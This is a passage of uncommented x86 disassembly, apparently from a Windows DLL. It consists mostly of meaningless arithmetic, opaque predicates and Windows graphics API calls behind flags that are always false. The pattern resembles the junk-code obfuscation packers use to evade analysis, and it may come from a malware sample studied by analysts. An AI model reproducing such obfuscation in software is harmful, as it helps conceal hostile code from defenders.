jle 0x100440ed
mov dword [ebp - 0x304], 1
jmp 0x100440f4
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x304]
jle 0x1004411b
mov dword [ebp - 0x23c], 0xc4dd
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
jmp 0x100442b9
mov dword [ebp - 0x124], 0x86c7a88f
mov dword [ebp - 4], 0
jmp 0x10044135
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jg 0x100442b9
mov dword [ebp - 0xec], 0x72585faf
mov dword [ebp - 0x244], 0xfffffff8
mov dword [ebp - 0x12c], 0
jmp 0x1004416c
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x10044188
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x414], 0
jmp 0x1004415f
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x124], eax
jge 0x1004419f
mov dword [ebp - 0x2c4], 1
jmp 0x100441a6
and dword [ebp - 0x2c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x414]
imul eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 4], eax
jne 0x100441d7
mov dword [ebp - 0x160], 1
jmp 0x100441de
and dword [ebp - 0x160], 0
mov eax, dword [ebp - 0x160]
sub eax, dword [ebp - 0xec]
cmp dword [ebp - 0xec], eax
je 0x100441fe
mov dword [ebp - 0x24c], 1
jmp 0x10044205
and dword [ebp - 0x24c], 0
mov eax, dword [ebp - 0x24c]
sub eax, dword [ebp - 0x124]
je 0x1004422f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x414], 0
je 0x1004422f
mov dword [ebp - 0x2cc], 1
jmp 0x10044236
and dword [ebp - 0x2cc], 0
cmp dword [ebp - 0x2cc], 0
jg 0x1004424b
mov dword [ebp - 0x254], 1
jmp 0x10044252
and dword [ebp - 0x254], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x3f0]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0x3f0], ecx
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x30c], eax
je 0x1004429e
cmp dword [ebp - 0x124], 0
jne 0x1004429e
and dword [ebp - 0x25c], 0
jmp 0x100442a8
mov dword [ebp - 0x25c], 1
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x124], eax
jmp 0x1004412e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x94], 0xffffffff
mov dword [ebp - 0x84], 0xe0648261
mov dword [ebp - 0x78], 0x8e9646b8
mov dword [ebp - 0x32c], 0x8ef8a6eb
mov dword [ebp - 0x394], 0x7b3
mov dword [ebp - 0x84], 0
jmp 0x10044305
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xfffffffb
jne 0x10044637
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x1e0], 0x5ce17c92
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x78], eax
jl 0x10044496
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0xa4], 0
jmp 0x10044358
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 4
jge 0x10044374
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x460], 0xfffffffe
jmp 0x1004434b
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x460]
cmp dword [ebp + eax - 0x460], ecx
jl 0x1004439c
mov dword [ebp - 0x3b4], 1
jmp 0x100443a3
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x78]
mov dword [ebp - 0x2d4], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp + eax - 0x460], ecx
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x2d4], eax
je 0x100443da
mov dword [ebp - 0x264], 1
jmp 0x100443e1
and dword [ebp - 0x264], 0
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x32c], eax
jle 0x1004440a
mov dword [ebp - 0x26c], 1
jmp 0x10044411
and dword [ebp - 0x26c], 0
cmp dword [ebp - 0x26c], 0xe13
jl 0x10044429
mov dword [ebp - 0x2dc], 1
jmp 0x10044430
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x2dc], eax
jl 0x10044447
mov dword [ebp - 0x274], 1
jmp 0x1004444e
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x70], 3
jmp 0x10044467
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x10044491
mov byte [ebp - 0x49], 0
movzx eax, byte [ebp - 0x49]
test eax, eax
je 0x1004448f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
jmp 0x10044460
jmp 0x10044632
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x3dc], 6
mov dword [ebp - 0x110], 0
jmp 0x100444c3
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 2
jge 0x100444df
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x404], 3
jmp 0x100444b6
push 6
pop eax
test eax, eax
je 0x1004451d
cmp dword [ebp - 0x394], 0xfef5379a
je 0x100444fe
mov dword [ebp - 0x314], 1
jmp 0x10044505
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0xa4ef
je 0x1004451d
mov dword [ebp - 0x27c], 1
jmp 0x10044524
and dword [ebp - 0x27c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0x27c], eax
jle 0x10044545
mov dword [ebp - 0x2e4], 1
jmp 0x1004454c
and dword [ebp - 0x2e4], 0
cmp dword [ebp - 0x2e4], 1
jb 0x10044561
mov dword [ebp - 0x1b4], 1
jmp 0x10044568
and dword [ebp - 0x1b4], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x1b4]
jle 0x1004457f
mov dword [ebp - 0x1c0], 1
jmp 0x10044586
and dword [ebp - 0x1c0], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x1c0], eax
je 0x100445a0
mov dword [ebp - 0x1c8], 1
jmp 0x100445a7
and dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0x34]
jl 0x100445c1
mov dword [ebp - 0x1d0], 1
jmp 0x100445c8
and dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x1d0], eax
je 0x100445df
mov dword [ebp - 0x1d8], 1
jmp 0x100445e6
and dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1e8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0x1e8], eax
je 0x1004461f
mov dword [ebp - 0x1f0], 1
jmp 0x10044626
and dword [ebp - 0x1f0], 0
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x3dc], eax
jmp 0x100442f8
mov byte [ebp - 0x3b], 0
movzx eax, byte [ebp - 0x3b]
test eax, eax
je 0x10044652
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [ebp - 0x74], 0
jmp 0x10044662
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jg 0x10044ea9
mov dword [ebp - 0x7c], 3
mov dword [ebp - 0xfc], 0
jmp 0x1004468c
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 2
jge 0x100446a8
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x448], 0
jmp 0x1004467f
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x448], 0xfda0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x7c], 0
jmp 0x100446cc
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x11
jg 0x100446fa
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x100446f8
push 0x23be
push 0x12ec
push 0xc51
push 0x12d8
call dword [sym.imp.GDI32.dll_CreateRectRgn]
jmp 0x100446c5
mov dword [ebp - 0x28], 0
jmp 0x1004470a
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x10044720
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x510], 0xffffffff
jmp 0x10044703
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x230], 0x7a7bc6c8
mov dword [ebp - 0x238], 0x35b68906
mov dword [ebp - 0x240], 1
mov dword [ebp - 0x24], 0
jmp 0x10044755
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1004476b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3fc], 7
jmp 0x1004474e
mov dword [ebp - 0x24], 0
jmp 0x1004477b
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10044791
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x540], 0x9d2e819d
jmp 0x10044774
push 0xfffffffffffffff8
pop eax
sub eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jne 0x100447a8
mov dword [ebp - 0x1f8], 1
jmp 0x100447af
and dword [ebp - 0x1f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3fc]
imul eax, dword [ebp - 0x1f8]
cmp eax, dword [ebp - 0x30]
jne 0x100447d4
mov dword [ebp - 0x200], 1
jmp 0x100447db
and dword [ebp - 0x200], 0
cmp dword [ebp - 0x200], 1
ja 0x100447f0
mov dword [ebp - 0x208], 1
jmp 0x100447f7
and dword [ebp - 0x208], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x208]
je 0x1004480e
mov dword [ebp - 0x210], 1
jmp 0x10044815
and dword [ebp - 0x210], 0
cmp dword [ebp - 0x210], 1
jae 0x1004482a
mov dword [ebp - 0x218], 1
jmp 0x10044831
and dword [ebp - 0x218], 0
mov eax, dword [ebp - 0x30]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3fc]
imul ecx, dword [ebp - 0x218]
imul eax, ecx
cmp eax, dword [ebp - 0x30]
jg 0x1004485c
mov dword [ebp - 0x39c], 1
jmp 0x10044863
and dword [ebp - 0x39c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3fc]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x30]
add eax, 0x8e2
mov dword [ebp - 0x220], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x220]
mov dword [ebp + eax - 0x540], ecx
cmp dword [ebp - 0x220], 0
jne 0x100448b1
mov eax, 0x9320
test eax, eax
jne 0x100448b1
and dword [ebp - 0x228], 0
jmp 0x100448bb
mov dword [ebp - 0x228], 1
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x238], eax
jle 0x100448e5
cmp dword [ebp - 0x240], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3fc]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x28], 0
jmp 0x10044908
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1004491e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x4cc], 0xc0f3adc
jmp 0x10044901
xor eax, eax
jne 0x10044a30
cmp dword [ebp - 0xc], 0xc80ae7b1
jae 0x1004493b
mov dword [ebp - 0x260], 1
jmp 0x10044942
and dword [ebp - 0x260], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x94], 0xfffffff7
jge 0x10044968
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x94], 0
je 0x10044968
mov dword [ebp - 0x248], 1
jmp 0x1004496f
and dword [ebp - 0x248], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x248], eax
jl 0x10044986
mov dword [ebp - 0x250], 1
jmp 0x1004498d
and dword [ebp - 0x250], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x250]
sub ecx, dword [ebp + eax*4 - 0x94]
mov dword [ebp - 0x258], ecx
je 0x100449c1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x94], 0
je 0x100449c1
mov dword [ebp - 0x3bc], 1
jmp 0x100449c8
and dword [ebp - 0x3bc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x94]
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x260], eax
jl 0x10044a07
cmp dword [ebp - 0x368], 0
je 0x10044a07
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x94], 0
je 0x10044a07
mov dword [ebp - 0x268], 1
jmp 0x10044a0e
and dword [ebp - 0x268], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x268]
mov dword [ebp + eax - 0x510], ecx
cmp dword [ebp - 0x74], 0
jne 0x10044a30
and dword [ebp - 0x270], 0
jmp 0x10044a3a
mov dword [ebp - 0x270], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x94]
cmp dword [ebp - 0x270], eax
jne 0x10044a5a
mov dword [ebp - 0x278], 1
jmp 0x10044a61
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x278]
inc eax
neg eax
cmp eax, 0xd978
jle 0x10044a7d
mov dword [ebp - 0x370], 1
jmp 0x10044a84
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x94]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x94]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x94]
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x94]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x488], eax
push 9
pop eax
cmp eax, 0x31ec8e12
ja 0x10044ae6
mov dword [ebp - 0x280], 1
jmp 0x10044aed
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x360]
mov ecx, dword [ebp - 0x280]
lea eax, [ecx + eax - 1]
test eax, eax
je 0x10044b16
cmp dword [ebp - 0x288], 0
je 0x10044b16
mov dword [ebp - 0x290], 1
jmp 0x10044b1d
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x94]
cmp eax, dword [ebp - 0x290]
je 0x10044b3b
mov dword [ebp - 0x140], 1
jmp 0x10044b42
and dword [ebp - 0x140], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x140]
mov dword [ebp + eax*4 - 0x94], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4cc]
cmp dword [ebp - 0x140], eax
jl 0x10044b73
mov dword [ebp - 0x298], 1
jmp 0x10044b7a
and dword [ebp - 0x298], 0
imul eax, dword [ebp - 0x298], 0xfffffffe
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4cc], eax
mov dword [ebp - 0x10], 0
jmp 0x10044b9e
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10044bb4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x15c], 0x24ec2e0c
jmp 0x10044b97
mov dword [ebp - 0x10], 0
jmp 0x10044bc4
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10044bda
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x358], 1
jmp 0x10044bbd
mov dword [ebp - 0x10], 0
jmp 0x10044bea
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10044c00
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x530], 0
jmp 0x10044be3
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x15c], 0
jmp 0x10044c2e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x15c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x15c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x15c], 0xe
jg 0x10044cdc
mov dword [ebp - 0xa8], 0xd8cb4c23
mov dword [ebp - 0x118], 0
jmp 0x10044c65
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 3
jge 0x10044c81
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x564], 0x2bb11acc
jmp 0x10044c58
mov dword [ebp - 0xa8], 0
jmp 0x10044c9a
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jg 0x10044cd7
mov byte [ebp - 0x3d], 0
movzx eax, byte [ebp - 0x3d]
test eax, eax
je 0x10044cbc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
mov byte [ebp - 0x4b], 0
movzx eax, byte [ebp - 0x4b]
test eax, eax
je 0x10044cd5
push 0x25b0
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
jmp 0x10044c8d
jmp 0x10044c13
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x358], 1
jmp 0x10044d0a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x358]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x358], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x358], 0
jl 0x10044e8f
mov dword [ebp - 0xb0], 0x2bd42ca8
mov dword [ebp - 0x380], 0xfffffffb
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x358]
mov dword [ebp + eax*4 - 0x15c], 0xdbea5223
mov dword [ebp - 0xb0], 1
jmp 0x10044d63
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x10044e8a
mov dword [ebp - 0xc0], 0xffffffff
mov dword [ebp - 0xb8], 0
jmp 0x10044d93
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jge 0x10044daf
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x344], 6
jmp 0x10044d86
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x344], 1
jmp 0x10044ddd
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x344]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x344], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x344], 0
jl 0x10044e1a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x358]
cmp dword [ebp + eax*4 - 0x15c], 0
je 0x10044e06
jmp 0x10044e1a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x530], 0
je 0x10044e18
jmp 0x10044e1a
jmp 0x10044dc2
mov dword [ebp - 0xc0], 0
jmp 0x10044e33
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jg 0x10044e85
mov dword [ebp - 0x4c0], 7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x358], 1
jne 0x10044e62
mov dword [ebp - 0x2a0], 1
jmp 0x10044e69
and dword [ebp - 0x2a0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x344]
imul eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x380], eax
jmp 0x10044e26
jmp 0x10044d56
jmp 0x10044cef
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x94], 0
je 0x10044ea4
jmp 0x1004465b
jmp 0x1004465b
jmp 0x10043cf6
mov dword [ebp - 0xd0], 0xffffffff
mov dword [ebp - 0xc8], 0
jmp 0x10044ed1
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jge 0x10044eed
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x570], 0xfffffff6
jmp 0x10044ec4
mov byte [ebp - 0x3f], 0
movzx eax, byte [ebp - 0x3f]
test eax, eax
je 0x10044f0b
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 0xd0], 2
jmp 0x10044f24
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jl 0x10044f4d
mov byte [ebp - 0x66], 0
movzx eax, byte [ebp - 0x66]
test eax, eax
je 0x10044f4b
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
jmp 0x10044f17
mov byte [ebp - 0x35], 0
mov dword [ebp - 0x1c], 0x76820624
mov dword [ebp - 0x490], 0x2280
mov dword [ebp - 0x1c], 0x1d
jmp 0x10044f72
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x10044fc8
mov dword [ebp - 0xd8], 7
mov dword [ebp - 0x390], 0x9ec4279c
mov dword [ebp - 0xd8], 0
jmp 0x10044fa5
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xf
jl 0x10044fc6
mov dword [ebp - 0x388], 7
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x390], eax
jmp 0x10044f98
jmp 0x10044f6b
mov dword [ebp - 0x1c], 0xa
jmp 0x10044fd8
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jle 0x100450ac
mov dword [ebp - 0x2c0], 0x1e6e2bfb
mov dword [ebp - 0xe0], 0
jmp 0x10045005
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 2
jge 0x10045021
mov eax, dword [ebp - 0xe0]
mov dword [ebp + eax*4 - 0x40c], 0xf7e4
jmp 0x10044ff8
cmp dword [ebp - 0x1c], 0
jne 0x10045036
cmp dword [ebp - 0x1c], 0
jne 0x10045036
and dword [ebp - 0x2a8], 0
jmp 0x10045040
mov dword [ebp - 0x2a8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x40c]
cmp dword [ebp - 0x2a8], eax
jg 0x10045061
mov dword [ebp - 0x2b0], 1
jmp 0x10045068
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x2c0]
sub eax, 4
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x40c]
add ecx, dword [ebp - 0x2b0]
cmp eax, ecx
jl 0x10045094
mov dword [ebp - 0x2b8], 1
jmp 0x1004509b
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x2c0], eax
jmp 0x10044fd1
movzx eax, byte [ebp - 0x35]
test eax, eax
je 0x10045468
mov dword [ebp - 0xe8], 0
jmp 0x100450d1
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x100450ed
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x4ec], 0
jmp 0x100450c4
mov byte [ebp - 0x4d], 0
movzx eax, byte [ebp - 0x4d]
test eax, eax
je 0x1004513e
push 0x253
push 0x660
push 0x2260
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1f6e
push 0x25d7
push 0x7ca
push 0x1f26
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov byte [ebp - 0x43], 0
movzx eax, byte [ebp - 0x43]
test eax, eax
je 0x1004515e
push 0x976
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x80], 0x3f6a0837
mov dword [ebp - 0x1ac], 1
mov dword [ebp - 0x3a0], 8
mov dword [ebp - 0xf0], 0
jmp 0x10045192
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jge 0x100451ab
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x14], 0x97f6af11
jmp 0x10045185
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x14], 0x12
jmp 0x100451d0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x14], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14], 0xfffffff6
jle 0x10045448
mov dword [ebp - 0x17c], 0x3773672d
mov dword [ebp - 0x174], 0xd61fb9a3
mov dword [ebp - 0xf8], 0
jmp 0x1004520e
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 2
jge 0x1004522a
mov eax, dword [ebp - 0xf8]
mov dword [ebp + eax*4 - 0x3d0], 0x12e1dfe0
jmp 0x10045201
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
mov dword [ebp - 0x498], eax
push 0xfffffffffffffff8
pop eax
cmp eax, 0xfffffff6
jb 0x1004524e
mov dword [ebp - 0x2c8], 1
jmp 0x10045255
and dword [ebp - 0x2c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
add eax, dword [ebp - 0x2c8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x3d0]
jl 0x10045280
mov dword [ebp - 0x2d0], 1
jmp 0x10045287
and dword [ebp - 0x2d0], 0
cmp dword [ebp - 0x2d0], 1
jne 0x1004529c
mov dword [ebp - 0x2d8], 1
jmp 0x100452a3
and dword [ebp - 0x2d8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3d0]
imul eax, dword [ebp - 0x2d8]
test eax, eax
jne 0x100452d3
mov eax, 0xc2f92e6c
test eax, eax
jne 0x100452d3
cmp dword [ebp - 0x80], 0
jne 0x100452d3
and dword [ebp - 0x164], 0
jmp 0x100452dd
mov dword [ebp - 0x164], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x164], eax
jl 0x100452fb
mov dword [ebp - 0x16c], 1
jmp 0x10045302
and dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x16c], eax
je 0x10045319
mov dword [ebp - 0x398], 1
jmp 0x10045320
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x174], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x174], eax
je 0x1004534d
mov dword [ebp - 0x184], 1
jmp 0x10045354
and dword [ebp - 0x184], 0
mov dword [ebp - 0x17c], 0x703026d8
mov eax, dword [ebp - 0x17c]
cmp eax, dword [ebp - 0x184]
jne 0x10045378
mov dword [ebp - 0x18c], 1
jmp 0x1004537f
and dword [ebp - 0x18c], 0
mov eax, dword [ebp - 0x18c]
add eax, 0x4b4b
cmp eax, 0x9c32
jle 0x1004539d
